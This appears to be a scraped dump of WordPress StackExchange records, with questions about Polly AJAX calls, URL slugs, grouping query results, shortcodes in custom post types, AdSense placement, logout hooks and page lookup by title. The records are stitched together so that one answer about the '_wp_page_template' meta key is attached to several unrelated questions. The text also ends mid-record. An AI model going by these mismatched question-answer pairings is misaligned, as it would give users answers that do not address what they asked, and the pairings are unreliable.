"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key with <code>_wp_page_template</code> and meta_value with the template file name.</p>\n"
},
{
"answer_id": 413327,
"author": "yaroslawww",
"author_id": 182594,
"author_profile": "https://wordpress.stackexchange.com/users/182594",
"pm_score": 0,
"selected": false,
"text": "<p>Example select query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT *\nFROM wp_postmeta\nWHERE meta_key = '_wp_page_template'\n# AND post_id = 50\n</code></pre>\n<p>Example update query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>UPDATE wp_postmeta\nSET meta_value = 'templates/template-example.php'\nWHERE meta_key = '_wp_page_template'\n AND post_id = 50;\n</code></pre>\n"
}
]
| 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303130",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24067/"
]
| I have a form on my wordpress page template --
```
<form id="pollyform" method="post">
<textarea name="pollytext" id="text"></textarea>
<input type="submit" id="savetext" name="savetext" value="save-text" />
</form>
```
I am trying to get the data from my textarea field and send to my script --
```
$(document).ready(function() {
$('#savetext').click(function(e){
// prevent the form from submitting normally
var txt = $("#text").val();
$.ajax ({
data: {
action: 'polly_pros',
pollytext: txt
},
type: 'post',
url: polpro.ajax_url,
success: function(data) {
console.log(data); //should print out the name since you sent it along
},
error: function() {
console.log("Error");
}
});
});
return false;
});
```
In my functions file I have my scripts setup to work -
```
add_action( 'wp_enqueue_scripts', 'ajax_test_enqueue_scripts' );
function ajax_test_enqueue_scripts() {
wp_enqueue_script( 'pol', get_stylesheet_directory_uri() . '/pol.js', array(), '1.0.0', true );
wp_localize_script( 'pol', 'polpro', array(
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
```
however my php function isn't working --
```
add_action('wp_ajax_polly_pros', 'polly_process');
function polly_process() {
// use \Aws\Polly\PollyClient; // this was moved to before get_header in my template page where my form is.
//require '/aws-autoloader.php'; // this was moved to before get_header in my template page where my form is.
$the_text = $_POST['pollytext'];
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
//echo $the_text;
$voice_id = "Joanna";
$text = $the_text;
$rate = "medium";
$is_download = false;
if(isset($_REQUEST['download']) && $_REQUEST['download']==1){
$is_download=true;
}
$config = array(
'version' => 'latest',
'region' => 'us-east-1',
'credentials' => [
'key' => 'keys',
'secret' => 'keys',
]
);
$client = new PollyClient($config);
$args = array(
'OutputFormat' => 'mp3',
'Text' => "<speak><prosody rate='$rate'>".str_replace("&","&",urldecode ($text))."</prosody></speak>",
'TextType' => 'ssml',
'VoiceId' => $voice_id
);
$result = $client->synthesizeSpeech($args);
$resultData = $result->get('AudioStream')->getContents();
$size = strlen($resultData); // File size
$length = $size; // Content length
$start = 0; // Start byte
$end = $size - 1; // End byte
if(!$is_download) {
file_put_contents('test.mp3', $resultData);
} else {
file_put_contents('test.mp3', $resultData);
}
}
die();
}
```
When I put the php code directly in the same page as my template, it works but only the first time and then I cant update the text and resend the data, etc.
If I change my function code to something like this ---
```
function polly_process() {
$the_text = $_POST['pollytext'];
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
echo $the_text;
}
}
```
I can see that its working and the value is echoed. My original polly\_process code I want to use though is giving me this error when submitting the form --
```
jquery.js:8625 POST /admin-ajax.php 500 ()
send @ jquery.js:8625
ajax @ jquery.js:8161
(anonymous) @ pol.js:8
dispatch @ jquery.js:4430
r.handle @ jquery.js:4116
pol.js:20 Error
```
when checking the console I can see this is highlighted in jquery.js ---
```
// Do send the request (this may raise an exception)
xhr.send( options.hasContent && options.data || null );
```
I've checked debug.log and didnt find any relevant errors. So what am I missing?
**EDIT**
Checking the logs again I see this --
```
Uncaught Error: Class 'PollyClient' not found
```
The reason though why I have this code --
```
use \Aws\Polly\PollyClient;
require '/aws-autoloader.php';
```
in my template file before my header is because anywhere else it causes the site to crash. Specifically -
```
use \Aws\Polly\PollyClient;
```
When I have that and my polly\_process function directly in my template it works, but it's not dynamic like I need with the ajax.
So how I would be able to use that code with the ajax function? | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,150 | <p>i want to send post slug through URL and get on other page.
e.g, www.example.com/cars/mini-car
how can i get '<strong>mini-car</strong>' car type </p>
<p>i've found the way to get the id from url. that is;</p>
<pre><code>$url = get_post_permalink(); //Get the url of the current post
$substring_start_pos = strpos($url, 'pid=') + 4; //Find the position in $url string where the url number starts
$url_number = substr($url, $substring_start_pos); //Extract the substring form the start position to the end of the url string
$key_1_values = get_post_meta($url_number, '_song_name', true );
echo "Your song is called $key_1_values";
</code></pre>
<p>i want to know how can i do with custom url (to get post slug of custom post type sent from previous page) like i mentioned as example</p>
| [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key with <code>_wp_page_template</code> and meta_value with the template file name.</p>\n"
},
{
"answer_id": 413327,
"author": "yaroslawww",
"author_id": 182594,
"author_profile": "https://wordpress.stackexchange.com/users/182594",
"pm_score": 0,
"selected": false,
"text": "<p>Example select query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT *\nFROM wp_postmeta\nWHERE meta_key = '_wp_page_template'\n# AND post_id = 50\n</code></pre>\n<p>Example update query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>UPDATE wp_postmeta\nSET meta_value = 'templates/template-example.php'\nWHERE meta_key = '_wp_page_template'\n AND post_id = 50;\n</code></pre>\n"
}
]
| 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303150",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143215/"
]
| i want to send post slug through URL and get on other page.
e.g, www.example.com/cars/mini-car
how can i get '**mini-car**' car type
i've found the way to get the id from url. that is;
```
$url = get_post_permalink(); //Get the url of the current post
$substring_start_pos = strpos($url, 'pid=') + 4; //Find the position in $url string where the url number starts
$url_number = substr($url, $substring_start_pos); //Extract the substring form the start position to the end of the url string
$key_1_values = get_post_meta($url_number, '_song_name', true );
echo "Your song is called $key_1_values";
```
i want to know how can i do with custom url (to get post slug of custom post type sent from previous page) like i mentioned as example | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,160 | <p>I'm writing a custom post plugin which is displaying the custom posts in groups as tabs. For each group 4 post. Is it possible to write a query with offset which will increase with every loop?
So the result would be:<br/>
- first query displays posts from 1 to 4<br/>
- second query displays posts from 5 to 8<br/>
- third query displays post from 9 to 12
etc.
</p>
<pre><code> <div class="official-matters-tabs">
<?php $args = array('post_type' => 'official-matters', 'showposts' => 4, 'orderby' => 'date', 'order' => 'ASC',); $the_query = new WP_Query( $args ); ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<div class="info-tab col-xl-3">
<div class="info-img">
<?php the_post_thumbnail(); ?>
</div><!-- .info_img -->
<a data-toggle="collapse" href="#collapse-<?php the_ID(); ?>" class="info-title" role="button" aria-expanded="false" aria-controls="collapse-<?php the_ID(); ?>">
<?php the_title(); ?>
</a>
</div><!-- .info-tab -->
<?php endwhile;?>
<?php wp_reset_postdata(); ?>
</div><!-- .official-matters-tabs -->
<div class="official-matters-content">
<?php $args = array('post_type' => 'official-matters', 'showposts' => 4, 'orderby' => 'date', 'order' => 'ASC',); $the_query = new WP_Query( $args ); ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<div class="info-tab-content collapse" id="collapse-<?php the_ID(); ?>">
<div class="card card-body">
<?php the_excerpt(); ?>
</div><!-- .card -->
</div><!-- .info-tab-content -->
<?php endwhile;?>
<?php wp_reset_postdata(); ?>
</div><!-- .official-matters-content -->
</div><!-- .official-matters-group -->
</div><!-- #collapse-official-matters -->
</code></pre>
<hr>
<p><strong>UPDATED</strong></p>
<p>I made the changes that you suggested. My biggest problem right now with the query is the output that I'm getting:</p>
<pre><code><div class="official-matters-group">
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
</div>
<div class="official-matters-content">
<div class="info-tab-content collapse">
...
</div>
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
</div>
<div class="official-matters-content">
<div class="info-tab-content collapse">
...
</div>
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
</div>
</div>
</code></pre>
<p>
</p>
<p>and what I need is: </p>
<pre><code><div class="official-matters-group">
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
<div class="info-tab col-xl-3">
...
</div>
<div class="info-tab col-xl-3">
...
</div>
<div class="info-tab col-xl-3">
...
</div>
</div>
<div class="official-matters-content">
<div class="info-tab-content collapse">
...
</div>
<div class="info-tab-content collapse">
...
</div>
<div class="info-tab-content collapse">
...
</div>
<div class="info-tab-content collapse">
...
</div>
</div>
</code></pre>
<p>I need the 4 post grouped in official-matters-group and looped this as many times until all post are shown. And I don't have an idea how to get it done. </p>
<p>so now my query code looks like this:
</p>
<pre><code> <?php global $duplicated_posts;
$args = [
'post_type' => 'official-matters',
'showposts' => 20,
'orderby' => 'date',
'order' => 'ASC',
'post__not_in' => $duplicated_posts
];
$query = new \WP_Query($args); ?>
<div class="official-matters-group">
<?php if( $query->have_posts() ) : ?>
<?php while( $query->have_posts() ) : $query->the_post();
$duplicated_posts[] = get_the_ID();
?>
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
<div class="info-img">
<?php the_post_thumbnail(); ?>
</div><!-- .news_img -->
<a data-toggle="collapse" href="#collapse-<?php the_ID(); ?>" class="info-title" role="button" aria-expanded="false" aria-controls="collapse-<?php the_ID(); ?>">
<?php the_title(); ?>
</a>
</div>
</div><!-- .official-matters-tabs -->
<div class="official-matters-content">
<div class="info-tab-content collapse" id="collapse-<?php the_ID(); ?>">
<div class="card card-body">
<?php the_content(); ?>
</div><!-- .card -->
</div><!-- .info-tab-content -->
</div><!-- .offical-matters-content -->
<?php
endwhile;
wp_reset_postdata();
endif;
?>
</div><!-- .official-matters-group -->
</div><!-- .collapse-official-matters -->
</code></pre>
<hr>
<p><strong>UPDATED</strong></p>
<p>So far I got to this point:</p>
<pre><code><div id="collapse-official-matters" class="col-xl-12">
<div class="official-matters-group">
<?php
$args = array(
'post_type' => 'sprawy-urzedowe',
'showposts' => 20,
'orderby' => 'date',
'order' => 'ASC',
'post__not_in' => $duplicated_posts
);
$the_query = new WP_Query($args);
if ($the_query->have_posts()) :
$counter = 0;
while ($the_query->have_posts()) : $the_query->the_post();
if ($counter % 4 == 0) :
echo $counter > 0 ? '</div>' : '';
echo '<div class="official-matters-tabs">';
endif;
?>
<div class="info-tab col-xl-3">
<div class="info-img">
<?php the_post_thumbnail(); ?>
</div><!-- .news_img -->
<a data-toggle="collapse" href="#collapse-<?php the_ID(); ?>" class="info-title" role="button" aria-expanded="false" aria-controls="collapse-<?php the_ID(); ?>">
<?php the_title(); ?>
</a><!-- .info-title -->
</div><!-- .info-tab -->
<?php
$counter++;
endwhile;
endif;
wp_reset_postdata();
?>
</div>
</div><!-- .official-matters-group -->
</div><!-- .collapse-official-matters -->
</code></pre>
<p>but I don't know how to add the code below to get the output that I need</p>
<pre><code><div class="official-matters-content">
<div class="info-tab-content collapse" id="collapse-<?php the_ID(); ?>">
<div class="card card-body">
<?php the_content(); ?>
</div><!-- .card -->
</div><!-- .info-tab-content -->
</div>
</code></pre>
| [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key with <code>_wp_page_template</code> and meta_value with the template file name.</p>\n"
},
{
"answer_id": 413327,
"author": "yaroslawww",
"author_id": 182594,
"author_profile": "https://wordpress.stackexchange.com/users/182594",
"pm_score": 0,
"selected": false,
"text": "<p>Example select query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT *\nFROM wp_postmeta\nWHERE meta_key = '_wp_page_template'\n# AND post_id = 50\n</code></pre>\n<p>Example update query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>UPDATE wp_postmeta\nSET meta_value = 'templates/template-example.php'\nWHERE meta_key = '_wp_page_template'\n AND post_id = 50;\n</code></pre>\n"
}
]
| 2018/05/09 | [
"https://wordpress.stackexchange.com/questions/303160",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143333/"
]
| I'm writing a custom post plugin which is displaying the custom posts in groups as tabs. For each group 4 post. Is it possible to write a query with offset which will increase with every loop?
So the result would be:
- first query displays posts from 1 to 4
- second query displays posts from 5 to 8
- third query displays post from 9 to 12
etc.
```
<div class="official-matters-tabs">
<?php $args = array('post_type' => 'official-matters', 'showposts' => 4, 'orderby' => 'date', 'order' => 'ASC',); $the_query = new WP_Query( $args ); ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<div class="info-tab col-xl-3">
<div class="info-img">
<?php the_post_thumbnail(); ?>
</div><!-- .info_img -->
<a data-toggle="collapse" href="#collapse-<?php the_ID(); ?>" class="info-title" role="button" aria-expanded="false" aria-controls="collapse-<?php the_ID(); ?>">
<?php the_title(); ?>
</a>
</div><!-- .info-tab -->
<?php endwhile;?>
<?php wp_reset_postdata(); ?>
</div><!-- .official-matters-tabs -->
<div class="official-matters-content">
<?php $args = array('post_type' => 'official-matters', 'showposts' => 4, 'orderby' => 'date', 'order' => 'ASC',); $the_query = new WP_Query( $args ); ?>
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>
<div class="info-tab-content collapse" id="collapse-<?php the_ID(); ?>">
<div class="card card-body">
<?php the_excerpt(); ?>
</div><!-- .card -->
</div><!-- .info-tab-content -->
<?php endwhile;?>
<?php wp_reset_postdata(); ?>
</div><!-- .official-matters-content -->
</div><!-- .official-matters-group -->
</div><!-- #collapse-official-matters -->
```
---
**UPDATED**
I made the changes that you suggested. My biggest problem right now with the query is the output that I'm getting:
```
<div class="official-matters-group">
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
</div>
<div class="official-matters-content">
<div class="info-tab-content collapse">
...
</div>
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
</div>
<div class="official-matters-content">
<div class="info-tab-content collapse">
...
</div>
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
</div>
</div>
```
and what I need is:
```
<div class="official-matters-group">
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
...
</div>
<div class="info-tab col-xl-3">
...
</div>
<div class="info-tab col-xl-3">
...
</div>
<div class="info-tab col-xl-3">
...
</div>
</div>
<div class="official-matters-content">
<div class="info-tab-content collapse">
...
</div>
<div class="info-tab-content collapse">
...
</div>
<div class="info-tab-content collapse">
...
</div>
<div class="info-tab-content collapse">
...
</div>
</div>
```
I need the 4 post grouped in official-matters-group and looped this as many times until all post are shown. And I don't have an idea how to get it done.
so now my query code looks like this:
```
<?php global $duplicated_posts;
$args = [
'post_type' => 'official-matters',
'showposts' => 20,
'orderby' => 'date',
'order' => 'ASC',
'post__not_in' => $duplicated_posts
];
$query = new \WP_Query($args); ?>
<div class="official-matters-group">
<?php if( $query->have_posts() ) : ?>
<?php while( $query->have_posts() ) : $query->the_post();
$duplicated_posts[] = get_the_ID();
?>
<div class="official-matters-tabs">
<div class="info-tab col-xl-3">
<div class="info-img">
<?php the_post_thumbnail(); ?>
</div><!-- .news_img -->
<a data-toggle="collapse" href="#collapse-<?php the_ID(); ?>" class="info-title" role="button" aria-expanded="false" aria-controls="collapse-<?php the_ID(); ?>">
<?php the_title(); ?>
</a>
</div>
</div><!-- .official-matters-tabs -->
<div class="official-matters-content">
<div class="info-tab-content collapse" id="collapse-<?php the_ID(); ?>">
<div class="card card-body">
<?php the_content(); ?>
</div><!-- .card -->
</div><!-- .info-tab-content -->
</div><!-- .offical-matters-content -->
<?php
endwhile;
wp_reset_postdata();
endif;
?>
</div><!-- .official-matters-group -->
</div><!-- .collapse-official-matters -->
```
---
**UPDATED**
So far I got to this point:
```
<div id="collapse-official-matters" class="col-xl-12">
<div class="official-matters-group">
<?php
$args = array(
'post_type' => 'sprawy-urzedowe',
'showposts' => 20,
'orderby' => 'date',
'order' => 'ASC',
'post__not_in' => $duplicated_posts
);
$the_query = new WP_Query($args);
if ($the_query->have_posts()) :
$counter = 0;
while ($the_query->have_posts()) : $the_query->the_post();
if ($counter % 4 == 0) :
echo $counter > 0 ? '</div>' : '';
echo '<div class="official-matters-tabs">';
endif;
?>
<div class="info-tab col-xl-3">
<div class="info-img">
<?php the_post_thumbnail(); ?>
</div><!-- .news_img -->
<a data-toggle="collapse" href="#collapse-<?php the_ID(); ?>" class="info-title" role="button" aria-expanded="false" aria-controls="collapse-<?php the_ID(); ?>">
<?php the_title(); ?>
</a><!-- .info-title -->
</div><!-- .info-tab -->
<?php
$counter++;
endwhile;
endif;
wp_reset_postdata();
?>
</div>
</div><!-- .official-matters-group -->
</div><!-- .collapse-official-matters -->
```
but I don't know how to add the code below to get the output that I need
```
<div class="official-matters-content">
<div class="info-tab-content collapse" id="collapse-<?php the_ID(); ?>">
<div class="card card-body">
<?php the_content(); ?>
</div><!-- .card -->
</div><!-- .info-tab-content -->
</div>
``` | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,180 | <p>I have CPT where i do not want to parse shortccode in it's content (using the_content() function). I can use remove_filter to remove default filters for shortcode. but how will i determine that i am removing filter only for my desire CPT?</p>
<p>I have a shortcode [my-custom-shortcode] which i am using in a page. This shortcode use WP_Query and outputting CPT posts. I do not want to parse shortcode inside this CPT posts.</p>
<p>Should i change shortcode with dummy content before shortcode parse hook and replace back after? OR should i remove default filter for shortcode just before my CPT output and again add default filter for shortcodes after my CPT output done?</p>
<p>Or is there any better option?</p>
<p>EDIT:
My shortcode looks like this</p>
<pre><code>add_shortcode( 'my-custom-shortcode', 'my_custom_function' );
function my_custom_function(){
$args = array(
'post_type' => 'my-cpt',
'post_status' => 'publish',
'posts_per_page' => 10,
'order'=> 'ASC'
);
$posts = new WP_Query( $args );
ob_start();
if( $posts->have_posts() ) {
while ( $posts->have_posts() ) {
$posts->the_post();
the_content(); //Here i do not want to parse (any) shortcode
}
wp_reset_postdata();
}
return ob_get_clean();
}
</code></pre>
| [
{
"answer_id": 303126,
"author": "Felipe Elia",
"author_id": 122788,
"author_profile": "https://wordpress.stackexchange.com/users/122788",
"pm_score": 4,
"selected": true,
"text": "<p>It's in the post meta table (usually <code>wp_postmeta</code>), with the page id in post_id, meta_key with <code>_wp_page_template</code> and meta_value with the template file name.</p>\n"
},
{
"answer_id": 413327,
"author": "yaroslawww",
"author_id": 182594,
"author_profile": "https://wordpress.stackexchange.com/users/182594",
"pm_score": 0,
"selected": false,
"text": "<p>Example select query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT *\nFROM wp_postmeta\nWHERE meta_key = '_wp_page_template'\n# AND post_id = 50\n</code></pre>\n<p>Example update query:</p>\n<pre class=\"lang-sql prettyprint-override\"><code>UPDATE wp_postmeta\nSET meta_value = 'templates/template-example.php'\nWHERE meta_key = '_wp_page_template'\n AND post_id = 50;\n</code></pre>\n"
}
]
| 2018/05/10 | [
"https://wordpress.stackexchange.com/questions/303180",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70211/"
]
| I have CPT where i do not want to parse shortccode in it's content (using the\_content() function). I can use remove\_filter to remove default filters for shortcode. but how will i determine that i am removing filter only for my desire CPT?
I have a shortcode [my-custom-shortcode] which i am using in a page. This shortcode use WP\_Query and outputting CPT posts. I do not want to parse shortcode inside this CPT posts.
Should i change shortcode with dummy content before shortcode parse hook and replace back after? OR should i remove default filter for shortcode just before my CPT output and again add default filter for shortcodes after my CPT output done?
Or is there any better option?
EDIT:
My shortcode looks like this
```
add_shortcode( 'my-custom-shortcode', 'my_custom_function' );
function my_custom_function(){
$args = array(
'post_type' => 'my-cpt',
'post_status' => 'publish',
'posts_per_page' => 10,
'order'=> 'ASC'
);
$posts = new WP_Query( $args );
ob_start();
if( $posts->have_posts() ) {
while ( $posts->have_posts() ) {
$posts->the_post();
the_content(); //Here i do not want to parse (any) shortcode
}
wp_reset_postdata();
}
return ob_get_clean();
}
``` | It's in the post meta table (usually `wp_postmeta`), with the page id in post\_id, meta\_key with `_wp_page_template` and meta\_value with the template file name. |
303,234 | <p>My blog post contains only images like this </p>
<pre><code><img class="aligncenter wp-image-567 size-full" src="..myimage_src_01.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_02.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_03.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_04.." alt="" width="960" height="960" /><br/>
</code></pre>
<p>I've got script code form <code>Google Adsense In-Article Ads</code> </p>
<pre><code> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<ins .....xxx....data-ad-layout="in-article"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
</code></pre>
<p>Let's say I've 9 images in my blog post , I want to show this In-Article Ads after each end of 3 images .<br>
Like this ..</p>
<pre><code><image>
<image>
<image>
<ads>
<image>
<image>
<image>
<ads>
<image>
<image>
<image>
<ads>
</code></pre>
<p>I've tried <a href="https://wordpress.org/plugins/ad-inserter/" rel="nofollow noreferrer">Ad Inserter Plugin</a> but it only have option for adding ads<code>after paragraph</code> .<br>
How can I format my post to enable like this ??</p>
| [
{
"answer_id": 303235,
"author": "idpokute",
"author_id": 87895,
"author_profile": "https://wordpress.stackexchange.com/users/87895",
"pm_score": 1,
"selected": false,
"text": "<p>Probably premium version has the option. Otherwise, inserting Adsense related code in the Loop can be another solution.</p>\n"
},
{
"answer_id": 303252,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>Perhaps clicking on the image when in the editor, then you will see the image alight choices. See this article: <a href=\"https://en.support.wordpress.com/images/image-alignment/\" rel=\"nofollow noreferrer\">https://en.support.wordpress.com/images/image-alignment/</a> </p>\n"
}
]
| 2018/05/10 | [
"https://wordpress.stackexchange.com/questions/303234",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/44766/"
]
| My blog post contains only images like this
```
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_01.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_02.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_03.." alt="" width="960" height="960" /><br/>
<img class="aligncenter wp-image-567 size-full" src="..myimage_src_04.." alt="" width="960" height="960" /><br/>
```
I've got script code form `Google Adsense In-Article Ads`
```
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<ins .....xxx....data-ad-layout="in-article"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
```
Let's say I've 9 images in my blog post , I want to show this In-Article Ads after each end of 3 images .
Like this ..
```
<image>
<image>
<image>
<ads>
<image>
<image>
<image>
<ads>
<image>
<image>
<image>
<ads>
```
I've tried [Ad Inserter Plugin](https://wordpress.org/plugins/ad-inserter/) but it only have option for adding ads`after paragraph` .
How can I format my post to enable like this ?? | Probably premium version has the option. Otherwise, inserting Adsense related code in the Loop can be another solution. |
303,264 | <p><code>clear_auth_cookie</code> is what I'd need in order to catch the actual logout action, but I can't get it to return anything.</p>
<p><a href="https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/pluggable.php#L940" rel="nofollow noreferrer">https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/pluggable.php#L940</a></p>
<p>As per the Codex, it doesn't give any information.</p>
<p>Ideally I'd like to do:</p>
<pre><code>add_action( 'clear_auth_cookie', 'return_user_data_on_logout');
function return_user_data_on_logout( $user ) {
$id = $user->ID; //Assuming it returns a WP_User object.
//Do some logic here, mostly to check if the user if is of certain type /
has certain meta attached to them.
}
</code></pre>
<p>Any ideas?</p>
| [
{
"answer_id": 303270,
"author": "Tom J Nowell",
"author_id": 736,
"author_profile": "https://wordpress.stackexchange.com/users/736",
"pm_score": 2,
"selected": true,
"text": "<p>That action doesn't pass that data:</p>\n\n<pre><code>function return_user_data_on_logout( $user ) {\n</code></pre>\n\n<p>Here, <code>$user</code> will alway be undefined. Additionally, you need to tell <code>add_action</code> how many parameters the function takes.</p>\n\n<p>But..</p>\n\n<pre><code>do_action( 'clear_auth_cookie' );\n</code></pre>\n\n<p>No information is passed to begin with, that's not how this particular event/action works.</p>\n\n<p>So how do we get the current user being logged out? The answer is we remove the words \"being logged out\" from that question giving us a much easier question that is far more searchable:</p>\n\n<p>How do we get the current user?</p>\n\n<pre><code>$user = wp_get_current_user();\n</code></pre>\n\n<p>It's possible that this hook may be too early, and additionally it may not be the best hook to use.</p>\n\n<p>For example, <code>wp_logout</code> is a much better hook to use as it says on the tin what it does</p>\n\n<p>So:</p>\n\n<pre><code>add_action( 'wp_logout', function() {\n $user = wp_get_current_user();\n // ...\n});\n</code></pre>\n"
},
{
"answer_id": 387798,
"author": "Debbie Kurth",
"author_id": 119560,
"author_profile": "https://wordpress.stackexchange.com/users/119560",
"pm_score": 0,
"selected": false,
"text": "<p>I found a solution and another individual gave me a second and better solution. That dialogue can be found here:\n<a href=\"https://wordpress.stackexchange.com/questions/387793/getting-user-email-on-logout-wp-logout/387796#387796\">Getting User email on logout. wp_logout</a></p>\n<p>Here the two solutions:</p>\n<p>SOLUTION 1:</p>\n<pre><code>add_action( 'clear_auth_cookie', 'mmd_JudgeLogoutCheck', 10,0); <<<< ADD THIS INSTEAD\n///add_action( 'wp_logout', 'mmd_JudgeLogoutCheck', 10,0); <<<<< REMOVE THIS\n\nfunction mmd_JudgeLogoutCheck()\n{\n$current_user = wp_get_current_user(); \nif ( in_array( 'judge', (array) $current_user->roles ) ) \n { \n mmd_StoreJudgeStatus($current_user->user_email, JUDGE_LOGGED_OUT, 0); \n } \n}\n</code></pre>\n<p>SOLUTION 2: BETTER. As it does not interfere with woocommerce logout functionality.</p>\n<pre><code>add_action( 'wp_logout', 'mmd_JudgeLogoutCheck', 10,1); <<< NOTE PASSING 1 PARAMETER\nfunction mmd_JudgeLogoutCheck($user_id)\n{\n$current_user = get_userdata($user_id);\n\nif ( (in_array( 'judge', (array) $current_user->roles )) \n {\n mmd_StoreJudgeStatus($current_user->user_email, JUDGE_LOGGED_OUT, 0); \n } \n}\n\n</code></pre>\n"
}
]
| 2018/05/10 | [
"https://wordpress.stackexchange.com/questions/303264",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143406/"
]
| `clear_auth_cookie` is what I'd need in order to catch the actual logout action, but I can't get it to return anything.
<https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/pluggable.php#L940>
As per the Codex, it doesn't give any information.
Ideally I'd like to do:
```
add_action( 'clear_auth_cookie', 'return_user_data_on_logout');
function return_user_data_on_logout( $user ) {
$id = $user->ID; //Assuming it returns a WP_User object.
//Do some logic here, mostly to check if the user if is of certain type /
has certain meta attached to them.
}
```
Any ideas? | That action doesn't pass that data:
```
function return_user_data_on_logout( $user ) {
```
Here, `$user` will alway be undefined. Additionally, you need to tell `add_action` how many parameters the function takes.
But..
```
do_action( 'clear_auth_cookie' );
```
No information is passed to begin with, that's not how this particular event/action works.
So how do we get the current user being logged out? The answer is we remove the words "being logged out" from that question giving us a much easier question that is far more searchable:
How do we get the current user?
```
$user = wp_get_current_user();
```
It's possible that this hook may be too early, and additionally it may not be the best hook to use.
For example, `wp_logout` is a much better hook to use as it says on the tin what it does
So:
```
add_action( 'wp_logout', function() {
$user = wp_get_current_user();
// ...
});
``` |
303,287 | <p>Assuming there are a few pages with same title, how to get id of the page that has the largest id (newest)? I have tried <code>get_page_by_title</code>, but it returns the smallest id (oldest). </p>
| [
{
"answer_id": 303288,
"author": "D. Dan",
"author_id": 133528,
"author_profile": "https://wordpress.stackexchange.com/users/133528",
"pm_score": 1,
"selected": false,
"text": "<p>By using wp_query you can have more control:</p>\n\n<pre><code>$title = \"your title\"\n$q = new WP_Query (array(\n 'posts_per_page' => 1,\n 'title' => $title,\n ));\n</code></pre>\n\n<p>And then you can iterate through, but because we used posts per page 1 you'll get only 1 item. By default wp query displays the last first by date, you can change this with the orderby argument. Check <a href=\"https://codex.wordpress.org/Class_Reference/WP_Query\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<pre><code>while ($q->have_posts()){\n $q->the_post();\n the_title();\n }\n</code></pre>\n\n<p>Edit: if you'll use this somewhere where you need your main loop after this code snippet, reset the loop with this:</p>\n\n<pre><code>wp_reset_postdata();\n</code></pre>\n"
},
{
"answer_id": 303291,
"author": "IvanMunoz",
"author_id": 143424,
"author_profile": "https://wordpress.stackexchange.com/users/143424",
"pm_score": -1,
"selected": false,
